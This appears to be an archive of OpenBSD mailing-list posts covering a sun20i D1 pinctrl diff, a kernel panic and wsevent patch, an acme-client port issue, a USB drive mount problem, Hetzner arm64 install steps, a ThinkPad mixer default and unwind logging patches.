diff --git a/Makefile b/Makefile
index fca3aab..2dcca97 100644
--- a/Makefile
+++ b/Makefile
@@ -8,7 +8,8 @@ SRCS= sxipins.c \
pinctrl-sun8i-h3-r.c pinctrl-sun8i-h3.c \
pinctrl-sun8i-a33.c \
pinctrl-sun5i.c \
- pinctrl-sun4i-a10.c
+ pinctrl-sun4i-a10.c \
+ pinctrl-sun20i-d1.c
CPPFLAGS+= -I${.CURDIR}
diff --git a/pinctrl-sunxi.h b/pinctrl-sunxi.h
index e340d2a..01bba46 100644
--- a/pinctrl-sunxi.h
+++ b/pinctrl-sunxi.h
@@ -91,6 +91,10 @@
#define PINCTRL_SUN7I_A20 BIT(7)
#define PINCTRL_SUN8I_R40 BIT(8)
+/* Variants below here have an updated register layout. */
+#define PINCTRL_SUN20I_D1 BIT(11)
+
+
struct sunxi_desc_function {
unsigned long variant;
const char *name;
diff --git a/sxipins.c b/sxipins.c
index 6d459ec..ff13195 100644
--- a/sxipins.c
+++ b/sxipins.c
@@ -86,6 +86,9 @@ driver_register(struct platform_driver *driver, const char
*name)
case PINCTRL_SUN8I_R40:
pdev.name = "sun8i_r40_pinctrl_driver";
break;
+ case PINCTRL_SUN20I_D1:
+ pdev.name = "sun20i_d1_pinctrl_driver";
+ break;
default:
pdev.name = name;
break;
pardon me
I'm looking into considering adding pins for the mango pi SBC (riscv64) and
noticed this little file that has no license:
--->
riscv64# head /sys/dev/fdt/sxipio_pins.h
/* Public Domain */
const struct sxipio_pin sun4i_a10_pins[] = {
{ SXIPIO_PIN(A, 0), {
{ "gpio_in", 0 },
{ "gpio_out", 1 },
{ "emac", 2 },
{ "spi1", 3 },
{ "uart2", 4 },
<---
Where does this file come from? how is it generated? If anyone also knows
the pins for the mango pi D1 in form of documentation anywhere (perhaps you're
working on it or not) and wants to share I'd be grateful.
Best Regards,
-peter
--
Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: kernel panic in syscall "poll"
People, programmers, I couldn't reproduce this panic I tried twice with all sorts of enabling the console keyboard, disabling it and pressing the button to turn on/off the sound card which is included in the KVM switch. Some people mentioned to me off-list that they never got the backtrace: https://mainrechner.de/P6160016.png it was delivered to openbsd.org but held up probably due to large size. Best Regards, -peter On Fri, Jun 16, 2023 at 05:42:26PM +0300, Vitaliy Makkoveev wrote: > On Fri, Jun 16, 2023 at 02:09:41PM +, Visa Hankala wrote: > > > On Fri, Jun 16, 2023 at 04:06:58PM +0300, Vitaliy Makkoveev wrote: > > > According your photo, panic occurred in filt_wseventdetach(). > > > > The following tweak might help. > > > > This code gets called indirectly through vdevgone() when a ws device > > is detached. In principle, another thread could register a new event > > with the device after the klist_invalidate() before the vnode clearing > > takes effect in full. However, it looks that the callers > > of wsevent_kqfilter() bail out if me_evp is NULL. The ws device close > > routines clear this pointer before calling wsevent_fini(). > > > > Index: dev/wscons/wsevent.c > > === > > RCS file: src/sys/dev/wscons/wsevent.c,v > > retrieving revision 1.26 > > diff -u -p -r1.26 wsevent.c > > --- dev/wscons/wsevent.c2 Jul 2022 08:50:42 - 1.26 > > +++ dev/wscons/wsevent.c16 Jun 2023 13:53:52 - > > @@ -134,6 +134,8 @@ wsevent_fini(struct wseventvar *ev) > > free(ev->q, M_DEVBUF, WSEVENT_QSIZE * sizeof(struct wscons_event)); > > ev->q = NULL; > > > > + klist_invalidate(>sel.si_note); > > + > > sigio_free(>sigio); > > } > > > > > > I suggested this. Makes sense in any case. > > > > On Fri, Jun 16, 2023 at 04:06:58PM +0300, Vitaliy Makkoveev wrote: > > >... To me it seems the reason is the missing klist_invalidate() > > > call in the ukbd detach sequence. > -- Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: kernel panic in syscall "poll"
On Fri, Jun 16, 2023 at 02:30:27PM +0300, Vitaliy Makkoveev wrote: > On Fri, Jun 16, 2023 at 10:53:33AM +0200, Peter J. Philipp wrote: > > On Fri, Jun 16, 2023 at 10:40:30AM +0200, Peter J. Philipp wrote: > > > Sorry for no formatting and the bad quality photo, the kernel paniced on > > > me > > > on process Xorg, when I turned on the sound card. I use fluxbox windows > > > manager if it's worth any. Odd is that it paniced on poll(). I had > > > turned > > > > > > pjp@polarstern$ sysctl -a|grep aperture > > > machdep.allowaperture=1 > > > > > > aperture to 1 a while back, dunno if this could be the cause? > > > > It was paniced in the wscons keyboard driver attached to control buttons > > > of the sound card. Could you detach all you usb keyboards, connect sound > > > card and turn it on? Let me explain my console setup. I have a usb keyboard attached to a "4x1 \ USB HDMI KVM Switch" purchased at conrad.de. When I press shift-lock three times and the number of the kvm port (1 to 4) I switch into another physical computer. This could be windows or another OpenBSD computer. I don't know if it's relevant because I did not switch KVM consoles at the moment of panic. However, and many can probably attest to this too, when in console without X (so installer, or just not booting into xenodm) the keyboard and mouse detach frequently from the computer and one has to wait a while for it to come back. This is often seen on KVM's (I noticed this at hetzner online, possibly at iweb.com too). I may have tried to investigate this once but that was a long time ago and I gave up after not finding anything further. It seems to me when the X11 drivers are attached that there is no such mis- event happening, but then there was this panic so who knows what is really happening. I tried unplugging the keyboard from this KVM switch and turned on the sound- card as you had requested. It did not panic again. Was it just memory corruption in the computer you think? One thing to note is that I have the basic pf rules set on with a bit of other anchors. Best Regards, -peter > > Pardon me, I forgot to attach the dmesg: > > > > OpenBSD 7.3 (GENERIC.MP) #1125: Sat Mar 25 10:36:29 MDT 2023 > > dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP > > real mem = 4257812480 (4060MB) > > avail mem = 4109357056 (3918MB) > > random: good seed from bootblocks > > mpath0 at root > > scsibus0 at mpath0: 256 targets > > mainbus0 at root > > bios0 at mainbus0: SMBIOS rev. 2.6 @ 0xeafb0 (100 entries) > > bios0: vendor American Megatrends Inc. version "E7728MLN.209" date > > 12/22/2011 > > bios0: MEDIONPC MS-7728 > > acpi0 at bios0: ACPI 4.0 > > acpi0: sleep states S0 S1 S3 S4 S5 > > acpi0: tables DSDT FACP APIC SSDT MCFG SLIC HPET > > acpi0: wakeup devices BR20(S3) EUSB(S3) USBE(S3) PEX0(S4) RTL_(S1) PEX1(S4) > > PEX2(S4) PEX3(S4) PEX4(S4) PEX5(S4) PEX6(S4) PEX7(S4) P0P1(S4) P0P2(S3) > > P0P3(S3) P0P4(S3) [...] > > acpitimer0 at acpi0: 3579545 Hz, 24 bits > > acpimadt0 at acpi0 addr 0xfee0: PC-AT compat > > cpu0 at mainbus0: apid 0 (boot processor) > > cpu0: Intel(R) Core(TM) i3-2120 CPU @ 3.30GHz, 3292.67 MHz, 06-2a-07 > > cpu0: > > FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,POPCNT,DEADLINE,XSAVE,AVX,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN > > cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB > > 64b/line 8-way L2 cache, 3MB 64b/line 12-way L3 cache > > cpu0: smt 0, core 0, package 0 > > mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges > > cpu0: apic clock running at 99MHz > > cpu0: mwait min=64, max=64, C-substates=0.2.1.1, IBE > > cpu1 at mainbus0: apid 2 (application processor) > > cpu1: Intel(R) Core(TM) i3-2120 CPU @ 3.30GHz, 3292.70 MHz, 06-2a-07 > > cpu1: > > FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,POPCNT,DEADLINE,XSAVE,AVX,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN > > cpu1: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB > > 64b/line 8-way L2 cache, 3MB 64b/line 12-way L3 cache > > cpu1: smt 0, core 1, package 0 > > ioapic0 at mainbus0: apid 0 pa 0xfec0, version 20, 24 pins > > acpimcfg0 at acpi0 > >
Re: kernel panic in syscall "poll"
On Fri, Jun 16, 2023 at 10:40:30AM +0200, Peter J. Philipp wrote: > Sorry for no formatting and the bad quality photo, the kernel paniced on me > on process Xorg, when I turned on the sound card. I use fluxbox windows > manager if it's worth any. Odd is that it paniced on poll(). I had turned > > pjp@polarstern$ sysctl -a|grep aperture > machdep.allowaperture=1 > > aperture to 1 a while back, dunno if this could be the cause? Pardon me, I forgot to attach the dmesg: OpenBSD 7.3 (GENERIC.MP) #1125: Sat Mar 25 10:36:29 MDT 2023 dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP real mem = 4257812480 (4060MB) avail mem = 4109357056 (3918MB) random: good seed from bootblocks mpath0 at root scsibus0 at mpath0: 256 targets mainbus0 at root bios0 at mainbus0: SMBIOS rev. 2.6 @ 0xeafb0 (100 entries) bios0: vendor American Megatrends Inc. version "E7728MLN.209" date 12/22/2011 bios0: MEDIONPC MS-7728 acpi0 at bios0: ACPI 4.0 acpi0: sleep states S0 S1 S3 S4 S5 acpi0: tables DSDT FACP APIC SSDT MCFG SLIC HPET acpi0: wakeup devices BR20(S3) EUSB(S3) USBE(S3) PEX0(S4) RTL_(S1) PEX1(S4) PEX2(S4) PEX3(S4) PEX4(S4) PEX5(S4) PEX6(S4) PEX7(S4) P0P1(S4) P0P2(S3) P0P3(S3) P0P4(S3) [...] acpitimer0 at acpi0: 3579545 Hz, 24 bits acpimadt0 at acpi0 addr 0xfee0: PC-AT compat cpu0 at mainbus0: apid 0 (boot processor) cpu0: Intel(R) Core(TM) i3-2120 CPU @ 3.30GHz, 3292.67 MHz, 06-2a-07 cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,POPCNT,DEADLINE,XSAVE,AVX,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 8-way L2 cache, 3MB 64b/line 12-way L3 cache cpu0: smt 0, core 0, package 0 mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges cpu0: apic clock running at 99MHz cpu0: mwait min=64, max=64, C-substates=0.2.1.1, IBE cpu1 at mainbus0: apid 2 (application processor) cpu1: Intel(R) Core(TM) i3-2120 CPU @ 3.30GHz, 3292.70 MHz, 06-2a-07 cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,POPCNT,DEADLINE,XSAVE,AVX,NXE,RDTSCP,LONG,LAHF,PERF,ITSC,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN cpu1: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 8-way L2 cache, 3MB 64b/line 12-way L3 cache cpu1: smt 0, core 1, package 0 ioapic0 at mainbus0: apid 0 pa 0xfec0, version 20, 24 pins acpimcfg0 at acpi0 acpimcfg0: addr 0xe000, bus 0-255 acpihpet0 at acpi0: 14318179 Hz acpiprt0 at acpi0: bus 0 (PCI0) acpiprt1 at acpi0: bus 2 (PEX0) acpiprt2 at acpi0: bus -1 (PEX1) acpiprt3 at acpi0: bus -1 (PEX2) acpiprt4 at acpi0: bus -1 (PEX3) acpiprt5 at acpi0: bus 3 (PEX4) acpiprt6 at acpi0: bus 4 (PEX5) acpiprt7 at acpi0: bus -1 (PEX6) acpiprt8 at acpi0: bus -1 (PEX7) acpiprt9 at acpi0: bus 1 (P0P1) acpiprt10 at acpi0: bus -1 (P0P2) acpiprt11 at acpi0: bus -1 (P0P3) acpiprt12 at acpi0: bus -1 (P0P4) acpipci0 at acpi0 PCI0: 0x0010 0x0011 0x acpicmos0 at acpi0 acpibtn0 at acpi0: PWRB acpicpu0 at acpi0: C3(350@104 mwait.3@0x20), C1(1000@1 halt), PSS acpicpu1 at acpi0: C3(350@104 mwait.3@0x20), C1(1000@1 halt), PSS cpu0: using VERW MDS workaround (except on vmm entry) cpu0: Enhanced SpeedStep 3292 MHz: speeds: 3300, 3100, 2900, 2700, 2500, 2300, 2100, 1900, 1700, 1600 MHz pci0 at mainbus0 bus 0 pchb0 at pci0 dev 0 function 0 "Intel Core 2G Host" rev 0x09 ppb0 at pci0 dev 1 function 0 "Intel Core 2G PCIE" rev 0x09: msi pci1 at ppb0 bus 1 radeondrm0 at pci1 dev 0 function 0 "ATI Radeon HD 6450" rev 0x00 drm0 at radeondrm0 radeondrm0: msi azalia0 at pci1 dev 0 function 1 "ATI Radeon HD 6400 Audio" rev 0x00: msi azalia0: no supported codecs "Intel 6 Series MEI" rev 0x04 at pci0 dev 22 function 0 not configured ehci0 at pci0 dev 26 function 0 "Intel 6 Series USB" rev 0x05: apic 0 int 16 usb0 at ehci0: USB revision 2.0 uhub0 at usb0 configuration 1 interface 0 "Intel EHCI root hub" rev 2.00/1.00 addr 1 azalia1 at pci0 dev 27 function 0 "Intel 6 Series HD Audio" rev 0x05: msi azalia1: codecs: Realtek ALC887 audio0 at azalia1 ppb1 at pci0 dev 28 function 0 "Intel 6 Series PCIE" rev 0xb5: msi pci2 at ppb1 bus 2 ppb2 at pci0 dev 28 function 4 "Intel 6 Series PCIE" rev 0xb5: msi pci3 at ppb2 bus 3 xhci0 at pci3 dev 0 function 0 "ASMedia ASM1042 xHCI" rev 0x00: msi, xHCI 0.96 usb1 at xhci0: USB revision 3.0 uhub1 at usb1 configuration 1 interface 0 "ASMedia xHCI root hub" rev 3.00/1.00 addr 1 ppb3 at pci0 dev 28 function 5 "Intel 6 Series PCIE" rev 0xb5: msi
Re: acme-client: name resolution error when specifying a port in the api url
On Sun, Jun 04, 2023 at 10:48:07AM +0200, Ronald Heggenberger wrote: > Hi! > > (sorry for the second attempt of this message - our domain was not configured > properly for mailing lists (dmarc reject) and I think the first attempt > probably wasn't processed properly) > > I am using step-ca to host my own acme provisioner (which is already working > - an existing proxmox cluster can request and get x509 TLS certificates just > fine), and as next step I wanted to use acme-client on OpenBSD servers, since > it's deployed within the default installation. So I added it to > /etc/acme-client.conf > ``` > [...] > api url "https://use.some.domain.com:8443/acme/acme/directory; > [...] > ``` > > But, when I run acme-client to actually get a certificate it terminates with > the following error: > ``` > acme-client:https://use.some.domain.com:8443/acme/acme/directory: directories > acme-client: use.some.domain.com:8443: parse error: non-recoverable failure > in name resolution > acme-client:https://use.some.domain.com:8443/acme/acme/directory: bad comm > acme-client: bad exit: netproc(21203): 1 > acme-client: bad exit: dnsproc(35017): 1 > ``` > > I think the acme-client's interpretation of the host-name is wrong since it's > trying to resolve the hostname including the used tcp port as well. > > What I've tried so far: > Using a relayd configuration to forward port 443 to 8443 (this was not > correctly working - just to prove a point) and changed the api url within the > acme-client.conf to get rid of the port definition: > ``` > [...] > api url "https://use.some.domain.com/acme/acme/directory; > [...] > ``` > > When having the relayd setup waiting for connections and using acme-client I > got the following error (which makes me even more confident that there is a > problem in acme-client's handling of the hostname): > ``` > acme-client: 10.42.120.12: tls_write: handshake failed: unexpected EOF > acme-client: 10.42.120.12: tls_read: handshake failed: unexpected EOF > ``` > > I don't want to setup relayd to handle my TLS properly on port 443, since I > am totally fine having the step-ca service handling it over port 8443. > > I am currently running OpenBSD 7.3, with default setup/configuration - > nothing special. > > How would one navigate this issue? > > Thank you in advance and best regards > Ronald > BEGIN:VCARD > VERSION:4.0 > N:Heggenberger;Ronald;;; > FN:Ronald Heggenberger > EMAIL;PREF=1:ronald.heggenber...@docoscope.com > END:VCARD Hi Ronald, I think the approach is wrong to add a port number into acme-client. What you perhaps need is something of the proposed internet standard for HTTPS RR's. https://datatracker.ietf.org/doc/draft-ietf-dnsop-svcb-https/ It's not an STD or RFC yet but it soon will be, many DNS Server softwares support it already. As far as browser support I dunno :-( Perhaps someone else knows. Best Regards, -peter -- Over thirty years experience on Unix-like Operating Systems starting with QNX.
Re: System won't Mount Western Digital Mybook external HD (System 76)
On Tue, Apr 25, 2023 at 11:11:18AM -0500, David Rogers wrote: > >Synopsis:?? Beginning with 7.2, system won't mount Western Digital > Mybook external HD > >Category:?? system > >Environment: > ??System?? : OpenBSD 7.3 > ??Details : OpenBSD 7.3 (GENERIC.MP) #1125: Sat Mar 25 10:36:29 > MDT 2023 > ??dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP > > ??Architecture: OpenBSD.amd64 > ??Machine : amd64 > >Description: > ?? The problem is identical on both my laptops. This Email includes the > system info for my expensive, but unsupported System 76. The description is > the same as the one I gave for the Lenovo, but with machine-specific dumps. > I dind't think to run sendbug when the drive was attached. Let me know if > you want that. > > > ?? The problem occurs with a USB-attached Western Digital MyBook > external hard drive that I use to backup my home directory before I upgrade > OpenBSD. The drive was formatted with FFS several years ago under a previous > version of OpenBSD. On v7.1, it mounted without issue on both laptops. > Beginning with v7.2, that same drive could not longer be mounted. When I > reverted back to 7.1, it could again be mounted. > > > ?? USB flash drives mount just fine. > > > ?? When the WD HD is plugged into a USB port, the system gives the > expected message: > > umass() at uhub0 port 2 configuration 1 interfact o "Western Digital My Book > 1235) rev 3.00/10.05 addr 3 > umass(): using SCSI over Bulk-only > scsibus6 at umass(): 2 targets, intiator 0 > sd2 at scsibus6 targ 1 lun 0: > sd2: 3815415MB, 512 btes/sector, 7813969920 sectors > > > ?? But then, a couple of seconds later, a new message is given: > > ses() at scsibus6 targ 1 lun 1: > ses(): unable to read enclosure configuration > > > ?? When attempting to mount the drive, the command fails, giving: > > mount_ffs: /dev/sd2i on /mnt: Device not configured. > Hi, I've had my "My Book" drive for quite some time (over four years?) here is a dmesg: umass0 at uhub0 port 12 configuration 1 interface 0 "Western Digital My Book 25EE" rev 3.00/40.04 addr 8 umass0: using SCSI over Bulk-Only scsibus4 at umass0: 2 targets, initiator 0 sd1 at scsibus4 targ 1 lun 0: sd1: 3815447MB, 512 bytes/sector, 7814035456 sectors ses0 at scsibus4 targ 1 lun 1: ses0: unable to read enclosure configuration ses0 detached the ses0 always did that "unable to read enclosure configuration" but the drive still functions. Is it possible you are using the wrong device for partition? What does disklabel sd2 say? It's weird that you use sd2i which is usually used for MSDOS (fat) filesystems. Also if you do have an "i" partition does the device exist at /dev/sd2i and /dev/rsd2i? If not use MAKEDEV to create it. Best Regards, -peter
Re: Hetzner arm64 Cloud
On Sun, Apr 23, 2023 at 06:28:00AM +0200, Patrick Wildt wrote: > ftp http://cdn.openbsd.org/pub/OpenBSD/snapshots/arm64/bsd.rd > rdsetroot -x bsd.rd > mr.fs > vnconfig vnd0 mr.fs > mount /dev/vnd0a /mnt > vim /mnt/auto_install.conf > umount /mnt > vnconfig -u vnd0 > rdsetroot bsd.rd mr.fs > > ftp http://cdn.openbsd.org/pub/OpenBSD/snapshots/arm64/miniroot73.img > vnconfig vnd0 miniroot73.img > mount /dev/vnd0a /mnt > cp bsd.rd /mnt/ > umount /mnt > vnconfig -u vnd0 > > Cheers, > Patrick Hi, These instructions were perfect and the instructions from the autoinstall manpage worked! The server is now running OpenBSD-current. superpod# sysctl kern.version kern.version=OpenBSD 7.3-current (GENERIC.MP) #2103: Sun Apr 23 21:31:04 MDT 2023 dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP Thank you thank you thank you! Best Regards, -peter
ThinkPad X270: mixer defaults to mic2 instead of mic
ThinkPad X270
OpenBSD -current snapshot from April 17
mixer defaults to this for built-in microphone input:
record.adc-0:1_source=mic2 [ mic2 mix mic ]
Yet, this is what works:
record.adc-0:1_source=mic [ mic2 mix mic ]
mic2 is not functional/'real' hardware.
There are scattered reports in misc@ and elsewhere of ThinkPads from ca.
2015-2020 failing to accept built-in microphone input in OpenBSD,
including models from the same year as the X270 with matching internal
hardware (2017 = X1 Carbon 5th gen., T(4/5)70, etc.). Incorrect
defaulting might be the problem in such instances.
Output of `dmesg | grep azalia`:
azalia0 at pci0 dev 31 function 3 "Intel 200 Series HD Audio" rev 0x21: msi
azalia0: codecs: Realtek ALC298, Intel/0x280b, using Realtek ALC298
audio0 at azalia0
azalia0 at pci0 dev 31 function 3 "Intel 200 Series HD Audio" rev 0x21: msi
azalia0: codecs: Realtek ALC298, Intel/0x280b, using Realtek ALC298
audio0 at azalia0
azalia0 at pci0 dev 31 function 3 "Intel 200 Series HD Audio" rev 0x21: msi
azalia0: codecs: Realtek ALC298, Intel/0x280b, using Realtek ALC298
audio0 at azalia0
Output of `mixerctl -av` with `record.adc-0:1_source=mic` set manually
in mixerctl.conf(5):
inputs.dac-0:1=238,238
inputs.dac-2:3=238,238
record.adc-4:5_mute=off [ off on ]
record.adc-4:5=126,126
record.adc-0:1_mute=off [ off on ]
record.adc-0:1=126,126
inputs.mix_source=mic2 { mic2 }
inputs.mix_mic2=120,120
inputs.mix2_source=dac-0:1,mix { dac-0:1 mix }
inputs.mix3_source=dac-2:3 { dac-2:3 }
record.adc-2:3_mute=off [ off on ]
record.adc-2:3=126,126
inputs.mic=85,85
outputs.spkr_source=mix3 [ mix2 mix3 ]
outputs.spkr_mute=off [ off on ]
outputs.spkr_eapd=on [ off on ]
inputs.mic2=85,85
outputs.mic2_dir=input-vr80 [ none input input-vr0 input-vr50
input-vr80 input-vr100 ]
outputs.hp_source=mix2 [ mix2 mix3 ]
outputs.hp_mute=off [ off on ]
outputs.hp_boost=off [ off on ]
record.adc-0:1_source=mic [ mic2 mix mic ]
record.adc-4:5_source=mic2 [ mic2 mix ]
record.adc-2:3_source=mic [ mic ]
outputs.mic2_sense=unplugged [ unplugged plugged ]
outputs.hp_sense=unplugged [ unplugged plugged ]
outputs.spkr_muters=hp { hp }
outputs.master=238,238
outputs.master.mute=off [ off on ]
outputs.master.slaves=dac-0:1,dac-2:3,spkr,hp { dac-0:1 dac-2:3 spkr hp }
record.volume=126,126
record.volume.mute=off [ off on ]
record.volume.slaves=adc-4:5,adc-0:1,adc-2:3 { adc-4:5 adc-0:1 adc-2:3
mic mic2 }
record.enable=sysctl [ off on sysctl ]
-
Thank you, folks.
Corey
Corey Stephan, Ph.D.
coreystephan.com
Re: Hetzner arm64 Cloud
On Tue, Apr 18, 2023 at 04:25:25PM +0200, Patrick Wildt wrote: > On Sun, Apr 16, 2023 at 11:39:33PM +0200, Patrick Wildt wrote: > > You can also simply dd the image to /dev/sda and reboot, but that still > > doesn't solve the problem. The bootup is hard to debug because the > > console is KVM and uses viogpu. As soon as we exit the EFI bootservices > > the framebuffer is shut down for whatever reason. Means we can only get > > access to it again through viogpu, which happens pretty late. I wish we > > had a serial console, because Qemu/edk2 can do it, they just don't make > > it available. This is gonna be "fun" to debug without serial. > > It actually wasn't too bad. We will have to land a few diffs in the tree, > and then snapshots will have to catch up. I think you'll be able to run > on Hetzner VMs in a few weeks. I'll send an update as soon as it works > with the snapshots. > > Cheers, > Patrick Wow Patrick! Thank you so much! I hope they still have arm64 instances when I want to get a second one. I do like the extra RAM (4 instead of 2GB) for the similarily priced VPS. Best Regards, -peter
Re: unwind is too noisy on sendto failures
On Fri, Apr 14, 2023 at 10:20:39AM -0600, Theo de Raadt wrote: > Doctor! Doctor! It hurts when I stick a knife in here! > > When you do weird, harsh, or unrealistic packet filtering, application > software will occasionally log that you are losing packets which should > not be filtered, to alert that normal network operation isn't occuring. > That is to be expected. It is even desirable. > > So I think you are only thinking of your own usage case, and trying > too hard to show that it is synthetic. > > But let's get back to the real story: libunbound is upstream software. > We carry diffs against upstream software, but only when the case is > extremely compelling. > > So how about taking your case up with those doctors, instead. Perhaps I didn't explain myself well enough. I understand. You don't want to deal with it, and you're protecting Florian from unrealistic waste of time. In my network port 53 had a free course before I got these weird messages which I thought my software was causing. When I examined unwind a little it was ignoring my "forwarder" that I set for it and went to the destination nameservers (arpa. NS's perhaps, or pool.ntp.org.'s) on it's own accord. I only added stricter firewall rules so that I could isolate the issue and then it became clearer what the log was trying to say. If you don't want misleading logs then why log at all? I know next to nothing about libunbound and I'm trying to understand what unwind was telling me in my logs. So I won't bother with going upstream because they can tell me something but I will only understand the half. -peter
Re: unwind is too noisy on sendto failures
On Fri, Apr 14, 2023 at 05:18:33PM +0200, Florian Obser wrote:
> Sorry, this doesn't make any sense.
>
> I could never reproduce the -1 or > 65535 case reliably, I see it once
> in a while, but I can't trigger it. I also can't reproduce it with your
> instructions.
>
> As far as I can work out these weird answer_len numbers come from
> libworker_event_done_cb() in libworker.c, specifically:
>
> (*cb)(cb_arg, rcode, (buf?(void*)sldns_buffer_begin(buf):NULL),
> (buf?(int)sldns_buffer_limit(buf):0), sec, why_bogus,
> was_ratelimited);
>
> So you are comparing against sldns_buffer_limit(buf), that can just be
> anything, you can't derive from that "remote server had no listening
> port".
>
> I get "rcode: 2, answer_len: 128" or something else sensibly if I point
> unwind at a non-responsive forwarder.
>
> Since you can reproduce it, can you try this diff please and report
> back?
>
> Does it hit that code path when answer_len is -1 or when answer_len
> is 65552?
Hi Florian,
In earlier mails (in this thread) I think I showed a pf.conf entry that I
used to make unwind only hit my forwarder. Again I killed it before this
trial. In fact I had to do the trial twice since it didn't log in syslog.
root@polarstern# unwind -d - 2>&1 | grep answer_len
[1681487082] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 28
[1681487082] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 128
[1681487083] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 128
[1681487083] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 28
[1681487085] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 128
[1681487086] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 28
[1681487089] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 128
[1681487090] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 28
[1681487098] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 128
[1681487099] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 28
[1681487100] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 65552
[1681487114] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 128
[1681487115] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 28
[1681487118] libunbound[90786:0] warning: libworker_event_done_cb: rcode: 2,
answer_len: 65552
...
That's again after I pinged centroid.eu with the forwarding nameserver off. I
couldn't get it to reply -1, I could not reproduce a "too short" message even
though I saw permission denied (error 13) in a ktrace. And it didn't
hit that code path...
You know what the second (most recent) patch I sent was bad too I just
realised. It didn't cover all the "too short" instances like the first
patch did. For that I'm sorry. It was covered in:
Message-ID: <438f75c61b9ef...@stern.delphinusdns.org>
Best Regards,
-peter
> diff --git libunbound/libunbound/libworker.c libunbound/libunbound/libworker.c
> index 11bf5f9db55..6bb34001ee9 100644
> --- libunbound/libunbound/libworker.c
> +++ libunbound/libunbound/libworker.c
> @@ -680,6 +680,9 @@ libworker_event_done_cb(void* arg, int rcode,
> sldns_buffer* buf,
> context_query_delete(q);
> lock_basic_unlock(>cfglock);
>
> + log_warn("%s: rcode: %d, answer_len: %d\n", __func__,
> + rcode, buf?(int)sldns_buffer_limit(buf):0);
> +
> if(!cancelled) {
> /* call callback */
> int sec = 0;
>
>
> >
> > >
> > Apr 13 20:53:26 polarstern unwind[73363]: terminating
> > Apr 13 20:53:27 polarstern resolvd[81113]: rebuilding: new unwind
> > Apr 13 20:54:12 polarstern unwind[16252]: remote nameserver had no
> > listening port: centroid.eu. IN A
> > ^Z[1] + Suspendedtail -f /var/log/daemon
> > root@polarstern# dddctl start
> > starting delphinusdnsd
> > root@polarstern# fg
> > tail -f /var/log/daemon
> > <
> > (after this restart of delphinusdnsd forwarder this pinged fine, no more
> > logs)
> >
> > The patch is below my .signature,
> >
> > Best Regards,
> > -peter
> >
> > Index: resolver.c
> > ===
> > RCS file: /cvs/src/sbin/unwind/resolver.c,v
> > retrieving revision 1.158
> > diff -u -p -u -r1.158 resolver.c
> > --- resolver.c 8 Feb 2023 08:01:25 - 1.158
> > +++ resolver.c 13 Apr 2023 18:51:01 -
> > @@ -954,13 +954,19 @@ resolve_done(struct uw_resolver *res, vo
> > running_res = --rq->running;
> >
> > if (answer_len < LDNS_HEADER_SIZE) {
> >
